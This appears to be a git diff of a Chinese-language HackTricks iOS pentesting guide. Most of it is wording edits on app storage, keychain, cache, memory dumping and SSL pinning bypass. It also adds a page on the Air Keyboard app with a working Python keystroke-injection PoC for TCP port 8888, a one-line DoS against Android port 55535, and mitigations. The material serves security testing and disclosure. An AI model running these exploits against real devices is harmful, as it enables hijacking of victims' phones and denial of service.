**Info.plist** 文件可以透露的众多信息中,显著条目包括应用权限字符串 (`UsageDescription`)、自定义 URL 方案 (`CFBundleURLTypes`) 和应用传输安全配置 (`NSAppTransportSecurity`)。这些条目以及其他如导出/导入的自定义文档类型 (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`),可以通过检查文件或使用简单的 `grep` 命令轻松找到:
```bash
$ grep -i <keyword> Info.plist
```
@ -219,7 +219,7 @@ LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
```bash
find /private/var/containers -name "Progname*"
```
命令如 `ps``lsof` 也可以用来识别应用程序的进程和列出打开的文件,从而提供有关应用程序活动目录路径的见解:
`ps``lsof` 这样的命令也可以用来识别应用程序的进程和列出打开的文件,从而提供有关应用程序活动目录路径的见解:
```bash
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
@ -227,30 +227,30 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
**Bundle directory:**
- **AppName.app**
- 这是在IPA中看到的应用程序包包含必要的应用程序数据、静态内容以及应用程序的编译二进制文件。
- 这是之前在IPA中看到的应用程序包包含必要的应用程序数据、静态内容以及应用程序的编译二进制文件。
- 该目录对用户可见,但**用户无法写入**。
- 此目录中的内容**不备份**。
- 此目录中的内容**不备份**。
- 此文件夹的内容用于**验证代码签名**。
**Data directory:**
- **Documents/**
- 包含所有用户生成的数据。应用程序最终用户发起此数据的创建。
- 对用户可见,**用户可以写入**。
- 此目录中的内容**备份**。
- 对用户可见,**用户可以写入**。
- 此目录中的内容**备份**。
- 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
- **Library/**
- 包含所有**非用户特定**的**文件**,如**缓存**、**偏好设置**、**cookies**和属性列表plist配置文件。
- 包含所有**非用户特定**的文件,如**缓存**、**偏好设置**、**cookies**和属性列表plist配置文件。
- iOS应用程序通常使用`Application Support``Caches`子目录,但应用程序可以创建自定义子目录。
- **Library/Caches/**
- 包含**半持久的缓存文件**。
- 对用户不可见,**用户无法写入**。
- 此目录中的内容**不备份**。
- 对用户不可见,**用户无法写入**。
- 此目录中的内容**不备份**。
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
- **Library/Application Support/**
- 包含运行应用程序所需的**持久****文件**。
- **对用户不可见**,用户无法写入。
- 此目录中的内容**备份**。
- 包含运行应用程序所需的**持久** **文件**
- **对用户不可见**用户无法写入。
- 此目录中的内容**备份**。
- 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
- **Library/Preferences/**
- 用于存储可以**在应用程序重启后仍然存在**的属性。
@ -260,10 +260,10 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- 使用此目录写入**临时文件**,这些文件在应用程序启动之间不需要持久存在。
- 包含非持久的缓存文件。
- **对用户不可见**
- 此目录中的内容不备份。
- 此目录中的内容不备份。
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
让我们仔细看看iGoat-Swift的应用程序包.app目录位于包目录内`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`
让我们仔细看看iGoat-Swift的应用程序包.app目录位于包目录内`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@ -301,7 +301,7 @@ otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
```
**反汇编二进制文件**
反汇编文本部分
反汇编文本
```bash
otool -tV DVIA-v2
DVIA-v2:
@ -366,7 +366,7 @@ ios-basics.md
{{#endref}}
> [!WARNING]
> 以下存储信息的地方应在**安装应用程序后立即**检查,**在检查应用程序的所有功能后**,甚至在**从一个用户注销并登录到另一个用户后**检查。\
> 以下存储信息的位置应在**安装应用程序后**、**检查应用程序的所有功能后**,甚至在**从一个用户注销并登录到另一个用户后**进行检查。\
> 目标是找到应用程序的**未保护敏感信息**(密码、令牌)、当前用户和之前登录用户的信息。
### Plist
@ -379,7 +379,7 @@ ios-basics.md
此数据不能再通过受信任的计算机直接访问,但可以通过执行**备份**进行访问。
您可以使用 objection 的 `ios nsuserdefaults get` 来**转储**保存的信息。
您可以使用 objection 的 `ios nsuserdefaults get` 来**转储**使用 **`NSUserDefaults`** 保存的信息。
要找到应用程序使用的所有 plist您可以访问 `/private/var/mobile/Containers/Data/Application/{APPID}` 并运行:
```bash
@ -446,7 +446,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
开发者可以通过 Firebase 实时数据库在 **NoSQL 云托管数据库****存储和同步数据**。数据以 JSON 格式存储,并实时同步到所有连接的客户端。
您可以在这里找到如何检查配置错误的 Firebase 数据库的信息
您可以在这里找到如何检查配置错误的 Firebase 数据库:
{{#ref}}
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
@ -508,9 +508,9 @@ iOS 将应用的 cookies 存储在每个应用文件夹中的 **`Library/Cookies
```
### Cache
默认情况下NSURLSession将数据例如**HTTP请求和响应存储在Cache.db**数据库中。数据库可能包含**敏感数据**,如果令牌、用户名或任何其他敏感信息被缓存。要查找缓存的信息,请打开应用的数据目录(`/var/mobile/Containers/Data/Application/<UUID>`)并转到`/Library/Caches/<Bundle Identifier>`。**WebKit缓存也存储在Cache.db**文件中。**Objection**可以使用命令`sqlite connect Cache.db`打开并与数据库交互,因为它是一个**普通的SQLite数据库**。
默认情况下NSURLSession将数据例如**HTTP请求和响应存储在Cache.db**数据库中。数据库可能包含**敏感数据**,如果令牌、用户名或任何其他敏感信息被缓存。要查找缓存的信息,请打开应用的数据目录(`/var/mobile/Containers/Data/Application/<UUID>`并转到`/Library/Caches/<Bundle Identifier>`。**WebKit缓存也存储在Cache.db**文件中。**Objection**可以通过命令`sqlite connect Cache.db`打开并与数据库交互,因为它是一个**普通的SQLite数据库**。
**建议禁用缓存此数据**,因为它可能包含请求或响应中的敏感信息。以下列表显示了实现此目的的不同方法:
**建议禁用缓存这些数据**,因为它可能在请求或响应中包含敏感信息。以下列表显示了实现此目的的不同方法:
1. 建议在注销后删除缓存的响应。这可以通过Apple提供的方法[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)来完成。您可以按如下方式调用此方法:
@ -522,7 +522,7 @@ iOS 将应用的 cookies 存储在每个应用文件夹中的 **`Library/Cookies
[Apple文档](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
`一个短暂的会话配置对象类似于默认的会话配置见default不同之处在于相应的会话对象不会将缓存、凭证存储或任何与会话相关的数据存储到磁盘上。相反与会话相关的数据存储在RAM中。短暂会话写入数据到磁盘的唯一时间是当您告诉它将URL的内容写入文件时。`
`一个短暂的会话配置对象类似于默认的会话配置见default不同之处在于相应的会话对象不会将缓存、凭证存储或任何与会话相关的数据存储到磁盘上。相反与会话相关的数据存储在RAM中。短暂会话写入磁盘的唯一时间是当您告诉它将URL的内容写入文件时。`
3. 通过将缓存策略设置为[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)也可以禁用缓存。这将禁用以任何方式存储缓存,无论是在内存中还是在磁盘上。
@ -532,7 +532,7 @@ iOS 将应用的 cookies 存储在每个应用文件夹中的 **`Library/Cookies
除非iPhone越狱否则**攻击者**需要**访问**未解锁的**设备**才能查看这些屏幕截图。默认情况下,最后一个快照存储在应用的沙盒中,位于`Library/Caches/Snapshots/``Library/SplashBoard/Snapshots`文件夹中受信任的计算机无法从iOS 7.0访问文件系统)。
防止这种不良行为的一种方法是在使用`ApplicationDidEnterBackground()`函数拍摄快照之前放置一个空白屏幕或删除敏感数据。
防止这种不良行为的一种方法是在使用`ApplicationDidEnterBackground()`函数拍摄快照之前放置一个空白屏幕或删除敏感数据。
以下是设置默认屏幕截图的示例修复方法。
@ -566,15 +566,15 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.backgroundImage removeFromSuperview];
}
```
这会在应用程序进入后台时将背景图像设置为 `overlayImage.png`。它防止敏感数据泄,因为 `overlayImage.png` 将始终覆盖当前视图。
这会在应用程序进入后台时将背景图像设置为 `overlayImage.png`。它防止敏感数据泄,因为 `overlayImage.png` 将始终覆盖当前视图。
### Keychain
用于访问和管理 iOS 密钥链的工具,如 [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper),适用于越狱设备。此外,[**Objection**](https://github.com/sensepost/objection) 提供了命令 `ios keychain dump` 以实现类似目的。
用于访问和管理 iOS 密钥链的工具,如 [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper),适用于越狱设备。此外,[**Objection**](https://github.com/sensepost/objection) 提供了命令 `ios keychain dump` 用于类似目的。
#### **存储凭据**
**NSURLCredential** 类非常适合直接在密钥链中保存敏感信息,绕过 NSUserDefaults 或其他包装器的需要。要在登录后存储凭据,可以使用以下 Swift 代码:
**NSURLCredential** 类非常适合直接在密钥链中保存敏感信息,绕过 NSUserDefaults 或其他包装器的需要。要在登录后存储凭据,使用以下 Swift 代码:
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
@ -584,12 +584,12 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
## **自定义键盘和键盘缓存**
从 iOS 8.0 开始,用户可以安装自定义键盘扩展,这些扩展可以在 **设置 > 通用 > 键盘 > 键盘** 下进行管理。虽然这些键盘提供了扩展功能,但它们存在记录按键和将数据传输到外部服务器的风险,尽管用户会被通知需要网络访问的键盘。应用程序可以并且应该限制在输入敏感信息时使用自定义键盘。
从 iOS 8.0 开始,用户可以安装自定义键盘扩展,这些扩展可以在 **设置 > 通用 > 键盘 > 键盘** 下进行管理。虽然这些键盘提供了扩展功能,但它们存在记录按键和将数据传输到外部服务器的风险,尽管用户会被通知需要网络访问的键盘。应用程序可以并且应该限制在敏感信息输入时使用自定义键盘。
**安全建议:**
- 建议禁用第三方键盘以增强安全性。
- 注意默认 iOS 键盘的自动更正和自动建议功能,这可能会将敏感信息存储在位于 `Library/Keyboard/{locale}-dynamic-text.dat``/private/var/mobile/Library/Keyboard/dynamic-text.dat` 的缓存文件中。这些缓存文件应定期检查以查找敏感数据。建议通过 **设置 > 通用 > 重置 > 重置键盘字典** 来重置键盘字典,以清除缓存数据。
- 注意默认 iOS 键盘的自动更正和自动建议功能,这可能会在位于 `Library/Keyboard/{locale}-dynamic-text.dat``/private/var/mobile/Library/Keyboard/dynamic-text.dat` 的缓存文件中存储敏感信息。这些缓存文件应定期检查以查找敏感数据。建议通过 **设置 > 通用 > 重置 > 重置键盘字典** 来重置键盘字典,以清除缓存数据。
- 拦截网络流量可以揭示自定义键盘是否正在远程传输按键。
### **防止文本字段缓存**
@ -642,7 +642,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
### 安全风险
**已安装应用及其数据**的备份引发了潜在**数据泄漏**的问题,以及**备份修改可能改变应用功能**的风险。建议**不要在任何应用的目录或其子目录中以明文存储敏感信息**以降低这些风险。
**已安装应用及其数据**包含在备份中,提出了潜在**数据泄漏**的问题,以及**备份修改可能改变应用功能**的风险。建议**不要在任何应用的目录或其子目录中以明文存储敏感信息**以降低这些风险。
### 从备份中排除文件
@ -665,19 +665,19 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
...
</plist>
```
对于处理加密备份DinoSec的GitHub仓库中提供的Python脚本如**backup_tool.py**和**backup_passwd.py**可能会有用但可能需要进行调整以兼容最新的iTunes/Finder版本。[**iOSbackup**工具](https://pypi.org/project/iOSbackup/)是访问密码保护备份中文件的另一种选择
对于处理加密备份DinoSec的GitHub仓库中提供的Python脚本如**backup_tool.py**和**backup_passwd.py**可能会有用但可能需要进行调整以兼容最新的iTunes/Finder版本。[**iOSbackup**工具](https://pypi.org/project/iOSbackup/)是访问密码保护备份中文件的另一个选项
### 修改应用行为
通过备份修改来改变应用行为的一个例子是在[Bither比特币钱包应用](https://github.com/bither/bither-ios)中示的其中UI锁定PIN存储在`net.bither.plist`的**pin_code**键下。将此键从plist中删除并恢复备份将移除PIN要求从而提供无限制访问。
通过备份修改来改变应用行为的一个例子是在[Bither比特币钱包应用](https://github.com/bither/bither-ios)中示的其中UI锁定PIN存储在`net.bither.plist`的**pin_code**键下。将此键从plist中删除并恢复备份将移除PIN要求从而提供无限制访问。
## 关于敏感数据内存测试的总结
在处理存储在应用内存中的敏感信息时,限制这些数据的暴露时间至关重要。调查内存内容的两种主要方法是:**创建内存转储**和**实时分析内存**。这两种方法都有其挑战,包括在转储过程或分析过程中可能错过关键数据的风险。
在处理存储在应用程序内存中的敏感信息时,限制这些数据的暴露时间至关重要。调查内存内容的两种主要方法是:**创建内存转储**和**实时分析内存**。这两种方法都有其挑战,包括在转储过程或分析过程中可能错过关键数据的风险。
## **检索和分析内存转储**
对于越狱和非越狱设备,像[objection](https://github.com/sensepost/objection)和[Fridump](https://github.com/Nightbringer21/fridump)这样的工具允许转储应用的进程内存。一旦转储,分析这些数据需要各种工具,具体取决于您要搜索的信息的性质。
对于越狱和非越狱设备,像[objection](https://github.com/sensepost/objection)和[Fridump](https://github.com/Nightbringer21/fridump)这样的工具允许转储应用程序的进程内存。一旦转储,分析这些数据需要各种工具,具体取决于您要搜索的信息的性质。
要从内存转储中提取字符串,可以使用`strings``rabin2 -zz`等命令:
```bash
@ -708,13 +708,13 @@ $ r2 frida://usb//<name_of_your_app>
### Use of Insecure and/or Deprecated Algorithms
开发者不应该使用**过时的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法包括RC4、MD4、MD5、SHA1……如果**哈希**用于存储密码,例如,应该使用抗暴力破解的哈希,并加盐。
开发者不应该使用**过时的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法包括RC4、MD4、MD5、SHA1... 如果**哈希**用于存储密码,例如,应该使用抗暴力破解的哈希,并加盐。
### Check
主要检查是查找代码中是否存在**硬编码**的密码/秘密,或者这些是否**可预测**,以及代码是否使用某种**弱**的**加密**算法。
有趣的是,你可以使用**objection**自动**监控**一些**加密****库**,方法是:
有趣的是,你可以使用**objection**自动**监控**一些**加密** **库**,方法是:
```swift
ios monitor crypt
```
@ -724,7 +724,7 @@ ios monitor crypt
**本地身份验证** 在保护远程端点的访问方面,尤其是通过加密方法,发挥着至关重要的作用。关键在于,如果没有正确的实现,本地身份验证机制可能会被绕过。
苹果的 [**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication) 和 [**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) 为开发者提供了强大的 API以便于用户身份验证对话框的实现和安全处理秘密数据。安全隔离区保护 Touch ID 的指纹 ID而 Face ID 则依赖于面部识别而不妥协生物识别数据。
苹果的 [**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication) 和 [**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) 为开发者提供了强大的 API以便于用户身份验证对话框和安全处理秘密数据。安全隔离区保护 Touch ID 的指纹 ID而 Face ID 则依赖于面部识别而不妥协生物识别数据。
要集成 Touch ID/Face ID开发者有两个 API 选择:
@ -745,11 +745,11 @@ ios monitor crypt
### 使用钥匙串进行本地身份验证
在 iOS 应用中实现 **本地身份验证** 涉及使用 **钥匙串 API** 安全存储秘密数据,如身份验证令牌。此过程确保数据只能由用户访问,使用他们的设备密码或生物识别认证,如 Touch ID。
在 iOS 应用中实现 **本地身份验证** 涉及使用 **钥匙串 API** 安全存储秘密数据,如身份验证令牌。此过程确保数据只能由用户访问,使用他们的设备密码或生物识别认证,如 Touch ID。
钥匙串提供了设置带有 `SecAccessControl` 属性的项目的能力,该属性限制对该项目的访问,直到用户通过 Touch ID 或设备密码成功身份验证。此功能对于增强安全性至关重要。
以下是 Swift 和 Objective-C 中的代码示例,演示如何利用这些安全功能将字符串保存到钥匙串并从中检索。示例具体展示了如何设置访问控制以要求 Touch ID 身份验证,并确保数据仅在设置的设备上可访问,前提是配置了设备密码。
以下是 Swift 和 Objective-C 中的代码示例,演示如何将字符串保存到钥匙串并从中检索,利用这些安全功能。示例特别展示了如何设置访问控制以要求 Touch ID 身份验证,并确保数据仅在设置的设备上可访问,前提是配置了设备密码。
{{#tabs}}
{{#tab name="Swift"}}
@ -822,7 +822,7 @@ if (status == noErr) {
{{#endtab}}
{{#endtabs}}
现在我们可以从钥匙串请求保存的项目。钥匙串服务将向用户显示身份验证对话框,并根据是否提供了合适的指纹返回数据或nil。
现在我们可以从钥匙串请求保存的项目。钥匙串服务将向用户显示身份验证对话框,并根据提供的指纹是否合适返回数据或nil。
{{#tabs}}
{{#tab name="Swift"}}
@ -880,7 +880,7 @@ NSLog(@"Something went wrong");
```bash
$ otool -L <AppName>.app/<AppName>
```
如果在应用中使用了 `LocalAuthentication.framework`,输出将包含以下两行(请记住,`LocalAuthentication.framework` 在底层使用 `Security.framework`
如果在应用中使用了 `LocalAuthentication.framework`,输出将包含以下两行(请记住,`LocalAuthentication.framework` 在底层使用 `Security.framework`
```bash
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
@ -1017,13 +1017,13 @@ burp-configuration-for-ios.md
### 主机名检查
验证 TLS 证书的一个常见问题是检查证书是否由 **受信任的** **CA** 签名,但 **不检查** **证书的主机名** 是否是正在访问的主机名。\
验证 TLS 证书的一个常见问题是检查证书是否由 **受信任的** **CA** 签名,但 **不检查** 证书的 **主机名** 是否是正在访问的主机名。\
为了使用 Burp 检查此问题,在 iPhone 中信任 Burp CA 后,可以 **为不同的主机名创建一个新的 Burp 证书** 并使用它。如果应用程序仍然可以正常工作,那么它就存在漏洞。
### 证书钉扎
如果应用程序正确使用 SSL 钉扎,则应用程序仅在证书是预期的证书时才能正常工作。在测试应用程序时 **这可能是一个问题,因为 Burp 将提供自己的证书。**\
为了在越狱设备中绕过此保护,可以安装应用程序 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 或安装 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
为了绕过这种保护,可以在越狱设备上安装应用程序 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 或安装 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
您还可以使用 **objection's** `ios sslpinning disable`
@ -1042,11 +1042,11 @@ burp-configuration-for-ios.md
开发人员可以 **立即修补其应用程序的所有安装**,而无需重新提交应用程序到 App Store 并等待批准。\
为此,通常使用 [**JSPatch**](https://github.com/bang590/JSPatch)**.** 但还有其他选项,如 [Siren](https://github.com/ArtSabintsev/Siren) 和 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)。\
**这是一种危险的机制,可能被恶意第三方 SDK 滥用,因此建议检查用于自动更新的方法(如果有的话)并进行测试。** 您可以尝试下载该应用程序的先前版本以此目的。
**这是一种危险的机制,可能被恶意第三方 SDK 滥用,因此建议检查用于自动更新的方法(如果有的话)并进行测试。** 您可以尝试下载该应用程序的先前版本以此目的。
### 第三方
**第三方 SDK** 的一个重大挑战是 **缺乏对其功能的细粒度控制**。开发人员面临选择:要么集成 SDK 并接受其所有功能,包括潜在的安全漏洞和隐私问题,要么完全放弃其好处。通常,开发人员无法自行修补这些 SDK 中的漏洞。此外,随着 SDK 在社区中获得信任,有些可能开始包含恶意软件。
**第三方 SDK** 的一个重大挑战是 **缺乏对其功能的细粒度控制**。开发人员面临选择:要么集成 SDK 并接受其所有功能,包括潜在的安全漏洞和隐私问题,要么完全放弃其好处。通常,开发人员无法自行修补这些 SDK 中的漏洞。此外,随着 SDK 在社区中获得信任,一些 SDK 可能开始包含恶意软件。
第三方 SDK 提供的服务可能包括用户行为跟踪、广告展示或用户体验增强。然而,这带来了风险,因为开发人员可能并不完全了解这些库执行的代码,从而导致潜在的隐私和安全风险。限制与第三方服务共享的信息仅限于必要的信息,并确保没有敏感数据被暴露是至关重要的。
@ -1056,6 +1056,12 @@ burp-configuration-for-ios.md
```bash
otool -L <application_path>
```
## 有趣的漏洞与案例研究
{{#ref}}
air-keyboard-remote-input-injection.md
{{#endref}}
## **参考资料与更多资源**
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
@ -1084,5 +1090,4 @@ otool -L <application_path>
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,92 @@
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
iOS 版本的商业 "Air Keyboard" 应用程序 (App Store ID 6463187929) 在 **8888 端口上打开了一个明文 TCP 服务**,接受 **没有任何认证** 的按键帧。
同一 Wi-Fi 网络上的任何设备都可以连接到该端口并向受害者的手机注入任意键盘输入,从而实现 **完全的远程交互劫持**
一个配套的 Android 版本监听 **55535 端口**。它执行一个弱 AES-ECB 握手,但构造的垃圾数据导致 **OpenSSL 解密例程中的未处理异常**,崩溃后台服务 (**DoS**)。
## 1. Service Discovery
扫描本地网络,寻找应用程序使用的两个固定端口:
```bash
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
在Android手机上您可以在本地识别负责的包
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```
## 2. 帧格式 (iOS)
该二进制文件在 `handleInputFrame()` 例程中揭示了以下解析逻辑:
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
声明的长度包括 `device_id` 字节 **但不包括** 两字节头部本身。
## 3. 利用 PoC
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
```
任何可打印的 ASCII包括 `\n``\r`、特殊键等)都可以被发送,从而有效地赋予攻击者与物理用户输入相同的权限:启动应用程序、发送即时消息、访问钓鱼 URL 等。
## 4. Android Companion 拒绝服务
Android 端口 (55535) 期望一个用 **硬编码的 AES-128-ECB 密钥** 加密的 4 字符密码,后面跟着一个随机的 nonce。解析错误会冒泡到 `AES_decrypt()`,并未被捕获,导致监听线程终止。因此,一个单一的格式错误的数据包就足以使合法用户断开连接,直到进程重新启动。
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
## 5. 根本原因
1. **未对传入帧进行来源/完整性检查**iOS
2. **加密误用**静态密钥ECB缺少长度验证**缺乏异常处理**Android
## 6. 缓解与加固建议
* 永远不要在移动设备上暴露未认证的服务。
* 在入职时为每个设备派生秘密,并在处理输入之前验证它们。
* 将监听器绑定到 `127.0.0.1`并使用相互认证的加密传输例如TLSNoise进行远程控制。
* 在移动安全审查中检测意外开放的端口(`netstat``lsof``frida-trace``socket()` 等)。
* 作为最终用户:卸载 Air Keyboard 或仅在受信任的隔离 Wi-Fi 网络上使用。
## 检测备忘单(渗透测试人员)
```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
```
## 参考
- [Air Keyboard iOS 应用中的远程输入注入漏洞仍未修复](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [CXSecurity 通告 WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
{{#include ../../banners/hacktricks-training.md}}